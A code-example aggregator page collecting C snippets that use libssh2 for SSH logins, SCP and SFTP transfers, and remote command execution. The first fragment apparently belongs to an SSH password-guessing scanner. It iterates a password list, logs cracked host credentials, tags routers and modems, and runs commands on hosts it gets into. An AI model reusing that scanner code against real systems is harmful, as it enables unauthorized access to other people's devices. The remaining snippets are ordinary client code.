                                username,passwords[u],totscanned);
                            struct stat fileinfo;
                            channel = libssh2_scp_recv(session, "/etc/services", &fileinfo);
                            if (!channel)
                            {
                                deb(KRED "%16s Unable to open a session: %d\r\n" RESET,
                                    inet_ntoa(serv_addr.sin_addr),
                                    libssh2_session_last_errno(session));
                                break;
                            }
                            if (!fileinfo.st_size)
                            {
                                deb(KGRN "%16s router/modem\r\n" RESET, inet_ntoa(serv_addr.sin_addr),
                                    fileinfo.st_size);
                                fdeb("%s %s:%s [router/modem (%s)]\r\n", inet_ntoa(serv_addr.sin_addr),
                                     username,passwords[u],trim(buf));
                            }
                            else
                            {
                                deb(KGRN "%16s unknown device fs:%d [%s]\r\n" RESET,
                                    inet_ntoa(serv_addr.sin_addr),
                                    fileinfo.st_size,trim(buf));
                                fdeb("%s %s:%s unknown (%s)\r\n", inet_ntoa(serv_addr.sin_addr),
                                     username,passwords[u],trim( buf));
                            }
                            channel = libssh2_scp_recv(session, "/proc/cpuinfo", &fileinfo);
                            if (!channel)
                            {
                                //  deb(KRED "\r\nUnable to open a session: %d\r\n" RESET,
                                //      libssh2_session_last_errno(session));
                                //break;
                            }
                            else
                            {
                                int got=0;
                                char mem[1024];
                                int amount=sizeof(mem);
                                while (got < fileinfo.st_size)
                                {
                                    if ((fileinfo.st_size -got) < amount)
                                    {
                                        amount = fileinfo.st_size -got;
                                    }
                                    rc = libssh2_channel_read(channel, mem, amount);
                                    if (rc > 0)
                                    {
                                        deb("mem:%p rc:%d", mem, rc);
                                    }
                                    else if (rc < 0)
                                    {
                                        deb("libssh2_channel_read() failed: %d\n", rc);
                                        break;
                                    }
                                    got += rc;
                                }
                                if (mem[0])
                                    deb("mem: %s", mem);
                            }
                            founds++;
                            try
                            {
                                MySexec sexec;
                                sexec.SetSSHHost( curhost );
                                int ret_code = sexec.SetTimeout(17);
                                if (ret_code) throw("\r\nfailed: SetTimeout\r\n");
                                ret_code = sexec.SetSSHUser(username);
                                if (ret_code) throw("\r\nfailed: SetSSHUser\r\n");
                                ret_code = sexec.SetSSHPassword(passwords[u]);
                                if (ret_code) throw("\r\nfailed: SetSSHPassword()\r\n");
                                ret_code = sexec.SSHLogon(curhost ,22);
                                if (ret_code) throw("\r\nfailed: SSHLogon\r\n");
                                ret_code = sexec.Execute("ls -l");
                                if (ret_code) throw("\r\Execute:%d",ret_code);
                                //sleep(2);
                                deb(KGRN "executed on %s\r\n" RESET, curhost);
                               // fdeb("\r\n[host %s]\r\n",curhost);
                                // exit(0);
                            }
                            catch ( const char *str )
                            {
                                deb(KRED "in except: %s\r\n" RESET,str);
                            }
                            //exit(0);
                        }
                    }
                    //  free(fingerprint);
                }
                if (channel)
                    libssh2_channel_free(channel);
                if (session)
                {
                    // libssh2_session_disconnect(session, "Norm");
                    libssh2_session_free(session);
                }
                /*   ssh = CkSsh_Create();
                   bool success;
                   CkSsh_UnlockComponent(ssh,"Anything for 30-day trial");
                   success = CkSsh_Connect(ssh,inet_ntoa(serv_addr.sin_addr),22);
                   CkSsh_putIdleTimeoutMs(ssh,5000);
                   success = CkSsh_AuthenticatePw(ssh,"root","root");
                   if (success != TRUE)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                       return 0;
                   }
                   int channelNum;
                   channelNum = CkSsh_OpenSessionChannel(ssh);
                   if (channelNum < 0)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                      return 0;
                   }
                   success = CkSsh_SendReqExec(ssh,channelNum,"uname -a");
                   if (success != TRUE)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                       return 0;
                   }
                   //  Call ChannelReceiveToClose to read
                   //  output until the server's corresponding "channel close" is received.
                   success = CkSsh_ChannelReceiveToClose(ssh,channelNum);
                   if (success != TRUE)
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                      return 0;
                   }
                   //  Let's pickup the accumulated output of the command:
                   const char * cmdOutput;
                   cmdOutput = CkSsh_getReceivedText(ssh,channelNum,"ansi");
                   if (cmdOutput == 0 )
                   {
                       deb("%s\n",CkSsh_lastErrorText(ssh));
                       return 0;
                   }
                   //  Display the remote shell's command output:
                   deb("%s\n",cmdOutput);
                   //  Disconnect
                   CkSsh_Disconnect(ssh);
                   CkSsh_Dispose(ssh);*/
            }
        }
예제 #26
0
static int uwsgi_init_ssh_session(
	struct uwsgi_ssh_mountpoint *usm,
	int* socket_fd,
	LIBSSH2_SESSION **session) {

	int sock = uwsgi_connect(usm->remote, ulibssh2.ssh_timeout, 1);
	if (sock < 0) {
		uwsgi_error("uwsgi_init_ssh_session()/uwsgi_connect()");
		return 1;
	}

	int rc = libssh2_init(0);
	if (rc) {
		uwsgi_error("uwsgi_init_ssh_session()/libssh2_init()");
		goto shutdown;
	}

	*session = libssh2_session_init();
	if (!session) {
		uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_init()");
		goto shutdown;
	}

	libssh2_session_set_blocking(*session, 0);

	while ((rc = libssh2_session_handshake(*session, sock)) == LIBSSH2_ERROR_EAGAIN) {
		uwsgi_ssh_waitsocket(sock, *session);
	}
	if (rc) {
		uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_handshake()");
		goto shutdown;
	}

	if (!ulibssh2.disable_remote_fingerprint_check) {
		LIBSSH2_KNOWNHOSTS *nh = libssh2_knownhost_init(*session);
		if (!nh) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_knownhost_init()");
			goto shutdown;
		}

		if (libssh2_knownhost_readfile(nh, ulibssh2.known_hosts_path, LIBSSH2_KNOWNHOST_FILE_OPENSSH) < 0) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_knownhost_readfile()");
		}

		size_t len;
		int type;
		const char *fingerprint = libssh2_session_hostkey(*session, &len, &type);
		if (!fingerprint) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_session_hostkey()");
			libssh2_knownhost_free(nh);
			goto shutdown;
		}

		char *remoteaddr_str = uwsgi_str(usm->remote);
		char *port_str = strchr(remoteaddr_str, ':');
		int port = SSH_DEFAULT_PORT;

		if (port_str) {
			port_str[0] = 0;
			port_str++;
			port = atoi(port_str);
		}

		struct libssh2_knownhost *host;
		int check = libssh2_knownhost_checkp(
			nh,
			remoteaddr_str,
			port,
			fingerprint,
			len,
			LIBSSH2_KNOWNHOST_TYPE_PLAIN|LIBSSH2_KNOWNHOST_KEYENC_RAW,
			&host
		);

		free(remoteaddr_str);

		if (check != LIBSSH2_KNOWNHOST_CHECK_MATCH) {
			uwsgi_log("[SSH] Remote fingerprint check failed!\n");
			libssh2_knownhost_free(nh);
			goto shutdown;
		}

		libssh2_knownhost_free(nh);
	}

	// If specified, username and password are honored
	if (usm->username && usm->password) {
		while ((rc = libssh2_userauth_password(
					*session,
					usm->username,
					usm->password)
			) == LIBSSH2_ERROR_EAGAIN) {
			uwsgi_ssh_waitsocket(sock, *session);
		}

		if (rc) {
			uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_password()");
			goto shutdown;
		} else {
			goto end;
		}

	// Else, let's try the fallback authentication methods:
	} else if (usm->username || ulibssh2.username) {

		// Let's choose which username to use
		char* auth_user = ulibssh2.username;
		if (usm->username) {
			auth_user = usm->username;
		}

		// Password authentication
		if (ulibssh2.auth_pw && ulibssh2.password) {
			while ((rc = libssh2_userauth_password(
						*session,
						auth_user,
						ulibssh2.password)
				) == LIBSSH2_ERROR_EAGAIN) {
				uwsgi_ssh_waitsocket(sock, *session);
			}
			if (rc) {
				uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_password()");
				// goto shutdown;
			} else {
				goto end;
			}
		}

		// SSH agent authentication
		if (usm->ssh_agent || ulibssh2.auth_ssh_agent) {
			if (uwsgi_ssh_agent_auth(*session, sock, auth_user)) {
				uwsgi_error("uwsgi_init_ssh_session()/uwsgi_ssh_agent_auth()");
				// goto shutdown;
			} else {
				goto end;
			}
		}

		// Public key authentication
		if ((ulibssh2.private_key_path && ulibssh2.private_key_passphrase) ||
			(usm->priv_key_path && usm->priv_key_passphrase)) {

			char *actual_pubk_path = ulibssh2.public_key_path;
			if (usm->pub_key_path) {
				actual_pubk_path = usm->pub_key_path;
			}

			char *actual_privk_path = ulibssh2.private_key_path;
			if (usm->priv_key_path) {
				actual_privk_path = usm->priv_key_path;
			}

			char *actual_passphrase = ulibssh2.private_key_passphrase;
			if (usm->priv_key_passphrase) {
				actual_passphrase = usm->priv_key_passphrase;
			}

			while ((rc = libssh2_userauth_publickey_fromfile(
						*session,
						auth_user,
						actual_pubk_path,
						actual_privk_path,
						actual_passphrase)
			) == LIBSSH2_ERROR_EAGAIN) {
				uwsgi_ssh_waitsocket(sock, *session);
			}

			if (rc == LIBSSH2_ERROR_PUBLICKEY_UNVERIFIED) {
				uwsgi_log("[SSH] ssh authentication failed (bad passphrase)\n");
				// goto shutdown;
			} else if (rc) {
				uwsgi_error("uwsgi_init_ssh_session()/libssh2_userauth_publickey_fromfile()");
				// goto shutdown;
			} else {
				goto end;
			}
		}
	}


	// If we arrive here, something went wrong.
	uwsgi_log("[SSH] session initialization failed (no authentication method worked)\n");
shutdown:
		close(sock);
		return 1;

end:
	// Otherwise, we're fine!
	*socket_fd = sock;
	return 0;

}
예제 #27
0
파일: cbsdsftp6.c 프로젝트: cbsd/cbsd
int 
main(int argc, char *argv[])
{
	int		sock      , i, auth_pw = 0, port = 22;
	struct sockaddr_in6 sin;

	const char     *fingerprint;
	char           *userauthlist;
	LIBSSH2_SESSION *session;
	int		rc;
	LIBSSH2_SFTP   *sftp_session;
	LIBSSH2_SFTP_HANDLE *sftp_handle;
	struct hostent *server;

	if (!strcmp(argv[1], "--help"))
		usage();

	if (argc > 1) {
		inet_pton(AF_INET6,argv[1],sin.sin6_addr.s6_addr);
	}

	if (argc > 2) {
		port = atoi(argv[2]);
	}
	if (argc > 3) {
		username = argv[3];
	}
	if (argc > 4) {
		password = argv[4];
	}
	if (argc > 5) {
		sftppath = argv[5];
	}
	if (argc > 6) {
		localpath = argv[6];
	}

	sock = socket(AF_INET6, SOCK_STREAM, 0);

	server = gethostbyname2(argv[1],AF_INET6);
	if (server == NULL) {
		fprintf(stderr, "ERROR, no such host\n");
		exit(0);
	}

	memset((char *) &sin, 0, sizeof(sin));
	sin.sin6_flowinfo = 0;
	sin.sin6_family = AF_INET6;
	memmove((char *) &sin.sin6_addr.s6_addr, (char *) server->h_addr, server->h_length);
	sin.sin6_port = htons(port);

	if (connect(sock, (struct sockaddr *)(&sin),
			sizeof(struct sockaddr_in6)) != 0) {
		fprintf(stderr, "failed to connect!\n");
		return -1;
	}
	session = libssh2_session_init();
	if (!session)
		return -1;

	libssh2_session_set_blocking(session, 1);

	rc = libssh2_session_startup(session, sock);
	if (rc) {
		fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
		return -1;
	}
	fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5);
	userauthlist = libssh2_userauth_list(session, username, strlen(username));
	if (strstr(userauthlist, "password") != NULL) {
		auth_pw |= 1;
	}
	if (strstr(userauthlist, "keyboard-interactive") != NULL) {
		auth_pw |= 2;
	}
	if (strstr(userauthlist, "publickey") != NULL) {
		auth_pw |= 4;
	}
	/* if we got an 4. argument we set this option if supported */
	if (argc > 5) {
		if ((auth_pw & 1) && !strcasecmp(argv[5], "-p")) {
			auth_pw = 1;
		}
		if ((auth_pw & 2) && !strcasecmp(argv[5], "-i")) {
			auth_pw = 2;
		}
		if ((auth_pw & 4) && !strcasecmp(argv[5], "-k")) {
			auth_pw = 4;
		}
	}
	if (auth_pw & 1) {
		if (libssh2_userauth_password(session, username, password)) {
			return 1;
			goto shutdown;
		}
	} else if (auth_pw & 2) {
		if (libssh2_userauth_keyboard_interactive(session, username, &kbd_callback)) {
			return 1;
			goto shutdown;
		}
	} else if (auth_pw & 4) {
		if (libssh2_userauth_publickey_fromfile(session, username, keyfile1, keyfile2, password)) {
			printf("\tAuthentication by public key failed!\n");
			return 1;
			goto shutdown;
		}
	} else {
		printf("No supported authentication methods found!\n");
		return 1;
		goto shutdown;
	}

	sftp_session = libssh2_sftp_init(session);

	if (!sftp_session) {
		fprintf(stderr, "Unable to init SFTP session\n");
		return 1;
		goto shutdown;
	}
	sftp_handle =
		libssh2_sftp_open(sftp_session, sftppath, LIBSSH2_FXF_READ, 0);

	if (!sftp_handle) {
		return 2;
		goto shutdown;
	}
	FILE           *fp = fopen(localpath, "w");
	if (fp) {
		char		mem       [1024];
		do {
			rc = libssh2_sftp_read(sftp_handle, mem, sizeof(mem));
			if (rc > 0) {
				fwrite(mem, rc, 1, fp);
			} else {
				break;
			}
		} while (1);
		fclose(fp);
	}
	libssh2_sftp_close(sftp_handle);
	libssh2_sftp_shutdown(sftp_session);

shutdown:

	libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing");
	libssh2_session_free(session);

#ifdef WIN32
	closesocket(sock);
#else
	close(sock);
#endif
	return 0;
}
예제 #28
0
void* server_login(const char* host_name, const char* user_name, Boolean use_key, const char* password, const char* private_key, const char* public_key, const char* port)
{
    struct addrinfo hints;
    struct addrinfo *res, *ai;
    int ec;
    int sock = -1;
    LIBSSH2_SESSION* session;
    SSH_SESSION* ssh_session;
    SSH_SESSION_PARAM* session_param;
    THREAD_PARAM* thread_param;
    
    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_flags = 0;
    
    
    if(getaddrinfo(host_name, port, &hints, &res) != 0)
    {
        debug_log(SSH_TERMINAL_GETADDRINFO_ERROR, "server_login : login failed.");
        return NULL;
    }
    
    for(ai = res; ai != NULL; ai = ai->ai_next)
    {
        sock = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol);
        if(sock < 0)
        {
            debug_log(SSH_TERMINAL_SOCKET_ERROR, "server_login : login failed.");
            return NULL;
        }
        if(connect(sock, ai->ai_addr, ai->ai_addrlen) < 0)
        {
            close(sock);
            sock = -1;
            continue;
        }
        break;
    }
    freeaddrinfo(res);
    
    session = libssh2_session_init();
    if(session == NULL)
    {
        close(sock);
        debug_log(SSH_TERMINAL_SESSION_INIT_ERROR, "server_login : login failed.");
        return NULL;
    }
    
    libssh2_session_set_blocking(session, 0);
    while((ec = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN)
    {
        ;
    }
    if(ec < 0)
    {
        libssh2_session_disconnect(session, "error");
        libssh2_session_free(session);
        close(sock);
        debug_log(SSH_TERMINAL_SESSION_STARTUP_ERROR, "server_login : login failed.");
        return NULL;
    }

    if(use_key)
    {
        while((ec = libssh2_userauth_publickey_fromfile(session, user_name, public_key, private_key, password)) == LIBSSH2_ERROR_EAGAIN)
        {
            ;
        }
        if(ec < 0)
        {
            libssh2_session_disconnect(session, "error");
            libssh2_session_free(session);
            close(sock);
            debug_log(SSH_TERMINAL_USERAUTH_ERROR, "server_login : publicckey userauth failed.");
            return NULL;
        }
    }
    else
    {
        while((ec = libssh2_userauth_password(session, user_name, password)) == LIBSSH2_ERROR_EAGAIN)
        {
            ;
        }
        if(ec < 0)
        {
            libssh2_session_disconnect(session, "error");
            libssh2_session_free(session);
            close(sock);
            debug_log(SSH_TERMINAL_USERAUTH_ERROR, "server_login : password userauth failed.");
            return NULL;
        }
    }
    
    ssh_session = (SSH_SESSION*)malloc(sizeof(SSH_SESSION));
    
    session_param = (SSH_SESSION_PARAM*)malloc(sizeof(SSH_SESSION_PARAM));
    session_param->sock = sock;
    session_param->session = session;
    session_param->channel = NULL;
    session_param->login_flag = TRUE;
    session_param->async_mode = TRUE;
    session_param->channel_type = -1;
    
    thread_param = (THREAD_PARAM*)malloc(sizeof(THREAD_PARAM));
    thread_param->exec_command_thread = NULL;
    thread_param->command_timer_thread = NULL;
    thread_param->command_queue_mutex = ori_thread_mutex_init();
    thread_param->add_list_mutex = ori_thread_mutex_init();
    thread_param->command_queue_condition = ori_thread_codition_init();
    thread_param->add_list_condition = ori_thread_codition_init();
    thread_param->exec_command_thread_flag = FALSE;
    thread_param->command_timer_thread_flag = FALSE;
    
    ssh_session->session_param = session_param;
    ssh_session->add_list = NULL;
    ssh_session->command_queue = NULL;
    ssh_session->thread_param = thread_param;
    
    return (void*)ssh_session;
}
예제 #29
0
int execute_command(struct remote *rm)
{

    /* Sets up the pthread functionality of gcrypt
     * libssh2 doesn't do this for us so we have to do it ourselves*/
    gcry_control(GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread);

    openlog("remote-monitor-base",LOG_PID|LOG_CONS,LOG_USER);

    syslog(LOG_DEBUG,"Starting SSH execution on rm->hostname: %s with rm->username: %s and port: %d",rm->hostname,rm->username,rm->port);

    size_t len;
    int type;

    unsigned long hostaddress;
    int sock;
    const char *fingerprint;
    int bytecount = 0;

    struct sockaddr_in sin;

    LIBSSH2_SESSION *session;
    LIBSSH2_CHANNEL *channel;
    LIBSSH2_KNOWNHOSTS *nh;

    /* results stores the output from the commands after they're executed
     * Each command  has a corresponding result so the results array is set to the same length as the commands array  */
    rm->results = malloc(rm->num_commands * sizeof(char*));
    for(int i = 0; i < rm->num_commands; i++)
        rm->results[i] = malloc(2048 * sizeof(char));

    /* Initialise libssh2 and check to see if it was initialized properly
     * libssh2_init isn't thread safe so we need to lock the thread while it executes*/
    pthread_mutex_lock(&sshinit_lock);
    int rc = libssh2_init(0);
    pthread_mutex_unlock(&sshinit_lock);
    if(rc!=0) {
        syslog(LOG_ERR,"libssh2 initilization failed");
        return 1;
    }

    /* Creates a socket connection to the specified host on the specified port */
    hostaddress = inet_addr(rm->hostname);
    sock = socket(AF_INET, SOCK_STREAM, 0);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(rm->port);
    sin.sin_addr.s_addr = hostaddress;

    /* Check to see if the connection was successful */
    if(connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) {
        syslog(LOG_ERR,"Failed to connect to %s on port %d", rm->hostname, rm->port);
        return 1;
    }

    /* Initialise the session and check for success */
    session = libssh2_session_init();
    if(!session) {
        syslog(LOG_ERR,"Error creating session on host %s", rm->hostname);
        return 1;
    }

    /* Disable blocking for this session */
    libssh2_session_set_blocking(session,0);

    /* Start the session on the specified socket and check for success */
    while( (rc = libssh2_session_startup(session,sock)) == LIBSSH2_ERROR_EAGAIN);
    if(rc) {
        syslog(LOG_ERR,"Failure establishing SSH session %d on host %s", rc, rm->hostname);
        goto error;
    }

    /* Get the current host key and check to see if it matches with any known hosts */
    nh = libssh2_knownhost_init(session);
    if(!nh) {
        syslog(LOG_ERR,"Error while initialising known hosts collection on host %s",rm->hostname);
        goto error;
    }
    libssh2_knownhost_readfile(nh,"known_hosts",LIBSSH2_KNOWNHOST_FILE_OPENSSH);
    //libssh2_knownhost_writefile(nh,"dumpfile",LIBSSH2_KNOWNHOST_FILE_OPENSSH);
    fingerprint = libssh2_session_hostkey(session,&len,&type);

    if(fingerprint) {
        struct libssh2_knownhost *host;

        int check = libssh2_knownhost_checkp(nh,rm->hostname,rm->port,fingerprint,len
                ,LIBSSH2_KNOWNHOST_TYPE_PLAIN|LIBSSH2_KNOWNHOST_KEYENC_RAW,&host);

        if(check == LIBSSH2_KNOWNHOST_CHECK_MATCH)
            syslog(LOG_DEBUG,"Found matching host key for host %s",rm->hostname);
        else if(check == LIBSSH2_KNOWNHOST_CHECK_MISMATCH)
            syslog(LOG_ERR,"Host key was found but the key's didn't match for host %s",rm->hostname);
            //TODO Some sort of critical error will need to be generated here
        else if(check == LIBSSH2_KNOWNHOST_CHECK_NOTFOUND)
            syslog(LOG_ERR,"No host match was found for %s",rm->hostname);
            //TODO Have the ability to add the host key here
        else
            syslog(LOG_ERR,"There was a failure while attempting to match host keys for host %s",rm->hostname);
    }
    else {
        syslog(LOG_ERR,"Couldn't get host key for host: %s",rm->hostname);
        goto error;
    }

    libssh2_knownhost_free(nh);

    /* Authenticate with the specified rm->username and passwod and check for success */
    // TODO Add ability to authenticate with a private key
    if( (strlen(rm->password)) != 0 ) {
        syslog(LOG_DEBUG,"Using rm->password authentication for host %s",rm->hostname);
        while( (rc = libssh2_userauth_password(session,rm->username,rm->password)) == LIBSSH2_ERROR_EAGAIN);
        if(rc) {
            syslog(LOG_ERR,"Authentication to host %s failed",rm->hostname);
            goto error;
        }
    }
    else if( ( (strlen(rm->publickey)) != 0 ) && ( ( strlen(rm->privatekey)) != 0) ) {
        syslog(LOG_DEBUG,"Using public key authentication for host %s",rm->hostname);
        while( (rc = libssh2_userauth_publickey_fromfile(session,rm->username,rm->publickey,rm->privatekey,NULL)) == LIBSSH2_ERROR_EAGAIN);

        switch(rc) {
            case 0:
                break;
            case LIBSSH2_ERROR_AUTHENTICATION_FAILED:
                syslog(LOG_ERR,"Authentication using the supplied key for host %s was not accepted",rm->hostname);
                goto error;
            case LIBSSH2_ERROR_PUBLICKEY_UNVERIFIED:
                syslog(LOG_ERR,"The rm->username/public key combination was invalid for host %s",rm->hostname);
                goto error;
            default:
                syslog(LOG_ERR,"Authentication to host %s failed",rm->hostname);
                goto error;
        }
    }
    
    /* Open a session for each command */
    for(int i = 0; i < rm->num_commands; i++) {

        /* Open a channel on the current channel and check for success */
        while( (channel = libssh2_channel_open_session(session)) == NULL && libssh2_session_last_error(session,NULL,NULL,0) == LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock,session);
        }
        if(channel == NULL) {
            syslog(LOG_ERR,"Error opening SSH channel on host %s",rm->hostname);
            asprintf(&(rm->results[i]),NULL);
            break;
        }

        /* Execute the command and check for success */
        while( (rc = libssh2_channel_exec(channel,rm->commands[i])) == LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock,session);
        }
        if(rc!=0) {
            syslog(LOG_ERR,"Error while executing %s in channel on host %s",rm->commands[i],rm->hostname);
            asprintf(&(rm->results[i]),NULL); 
            break;
        }

        /* Continuously read the returned stream and break once the stream has been read */
        for(;;) {
            int rc;
            do
            {
                char buffer[2048];

                rc = libssh2_channel_read(channel,buffer,sizeof(buffer));

                if(rc > 0) {
                    bytecount += rc;
                    char *output;
                    output = buffer;
                    syslog(LOG_ERR,"Got output from command %s on host %s:%s",rm->commands[i],rm->hostname,output);
                    /* Store the output in the results array */
                    asprintf(&(rm->results[i]),"%s",output);
                    memset(buffer,0,2048);
                }
            } while(rc > 0);

            if(rc == LIBSSH2_ERROR_EAGAIN) {
                waitsocket(sock,session);
            }
            else
                break;
        
        }

        /* Close the channel and check for success */
        while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN) {
            waitsocket(sock,session);
        }
        if( (libssh2_channel_free(channel)) < 0)
            syslog(LOG_ERR,"Error while freeing channel on host %s",rm->hostname);
        channel = NULL;
    }

shutdown:

    syslog(LOG_DEBUG,"Disconnecting SSH session for host %s",rm->hostname);

    libssh2_session_disconnect(session,"Normal SSH disconnection");
    libssh2_session_free(session);

    close(sock);

    libssh2_exit();

    closelog();

    return 0;

error:

    syslog(LOG_DEBUG,"Disconnection SSH session for host %s",rm->hostname);

    libssh2_session_disconnect(session,"Normal SSH disconnection");
    libssh2_session_free(session);

    close(sock);

    libssh2_exit();

    closelog();

    return 1;
}
예제 #30
0
int main(int argc, char *argv[])
{
    unsigned long hostaddr;
    int sock, i, auth_pw = 1;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    LIBSSH2_CHANNEL *channel;
    const char *username="******";
    const char *password="******";
    const char *loclfile="scp_write.c";
    const char *scppath="/tmp/TEST";
    FILE *local;
    int rc;
#if defined(HAVE_IOCTLSOCKET)
    long flag = 1;
#endif
    char mem[1024];
    size_t nread;
    char *ptr;
    struct stat fileinfo;

#ifdef WIN32
    WSADATA wsadata;

    WSAStartup(MAKEWORD(2,0), &wsadata);
#endif

    if (argc > 1) {
        hostaddr = inet_addr(argv[1]);
    } else {
        hostaddr = htonl(0x7F000001);
    }
    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if(argc > 4) {
        loclfile = argv[4];
    }
    if (argc > 5) {
        scppath = argv[5];
    }

    local = fopen(loclfile, "rb");
    if (!local) {
        fprintf(stderr, "Can't local file %s\n", loclfile);
        goto shutdown;
    }

    stat(loclfile, &fileinfo);

    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* We set the socket non-blocking. We do it after the connect just to
        simplify the example code. */
#ifdef F_SETFL
    /* FIXME: this can/should be done in a more portable manner */
    rc = fcntl(sock, F_GETFL, 0);
    fcntl(sock, F_SETFL, rc | O_NONBLOCK);
#elif defined(HAVE_IOCTLSOCKET)
    ioctlsocket(sock, FIONBIO, &flag);
#else
#ifdef WIN32
    u_long mode = 1;
    ioctlsocket (sock, FIONBIO, &mode);
#else
#error "add support for setting the socket non-blocking here"
#endif
#endif

    /* Create a session instance
     */
    session = libssh2_session_init();
    if(!session)
        return -1;

    /* Since we have set non-blocking, tell libssh2 we are non-blocking */
    libssh2_session_set_blocking(session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    while ((rc = libssh2_session_startup(session, sock))
            == LIBSSH2_ERROR_EAGAIN);
    if(rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    /* At this point we havn't yet authenticated.  The first thing to do
     * is check the hostkey's fingerprint against our known hosts Your app
     * may have it hard coded, may go to a file, may present it to the
     * user, that's your call
     */
    fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5);
    fprintf(stderr, "Fingerprint: ");
    for(i = 0; i < 16; i++) {
        fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]);
    }
    fprintf(stderr, "\n");

    if (auth_pw) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password)) ==
                LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "Authentication by password failed.\n");
            goto shutdown;
        }
    } else {
        /* Or by public key */
        while ((rc = libssh2_userauth_publickey_fromfile(session, username,
                     "/home/username/.ssh/id_rsa.pub",
                     "/home/username/.ssh/id_rsa",
                     password)) == LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

    /* Request a file via SCP */
    do {
        channel = libssh2_scp_send(session, scppath, 0x1FF & fileinfo.st_mode,
                                   (unsigned long)fileinfo.st_size);

        if ((!channel) && (libssh2_session_last_errno(session) !=
                           LIBSSH2_ERROR_EAGAIN)) {
            char *err_msg;

            libssh2_session_last_error(session, &err_msg, NULL, 0);
            fprintf(stderr, "%s\n", err_msg);
            goto shutdown;
        }
    } while (!channel);

    fprintf(stderr, "SCP session waiting to send file\n");
    do {
        nread = fread(mem, 1, sizeof(mem), local);
        if (nread <= 0) {
            /* end of file */
            break;
        }
        ptr = mem;

        do {
            /* write data in a loop until we block */
            while ((rc = libssh2_channel_write(channel, ptr, nread)) ==
                    LIBSSH2_ERROR_EAGAIN);
            if (rc < 0) {
                fprintf(stderr, "ERROR %d\n", rc);
            }
            ptr += rc;
            nread -= rc;
        } while (nread > 0);
    } while (1);

    fprintf(stderr, "Sending EOF\n");
    while (libssh2_channel_send_eof(channel) == LIBSSH2_ERROR_EAGAIN);

    fprintf(stderr, "Waiting for EOF\n");
    while (libssh2_channel_wait_eof(channel) == LIBSSH2_ERROR_EAGAIN);

    fprintf(stderr, "Waiting for channel to close\n");
    while (libssh2_channel_wait_closed(channel) == LIBSSH2_ERROR_EAGAIN);

    libssh2_channel_free(channel);
    channel = NULL;

shutdown:

    while ((rc = libssh2_session_disconnect(session,
                                            "Normal Shutdown, Thank you for playing")) == LIBSSH2_ERROR_EAGAIN);
    libssh2_session_free(session);

#ifdef WIN32
    Sleep(1000);
    closesocket(sock);
#else
    sleep(1);
    close(sock);
#endif
    fprintf(stderr, "all done\n");
    return 0;
}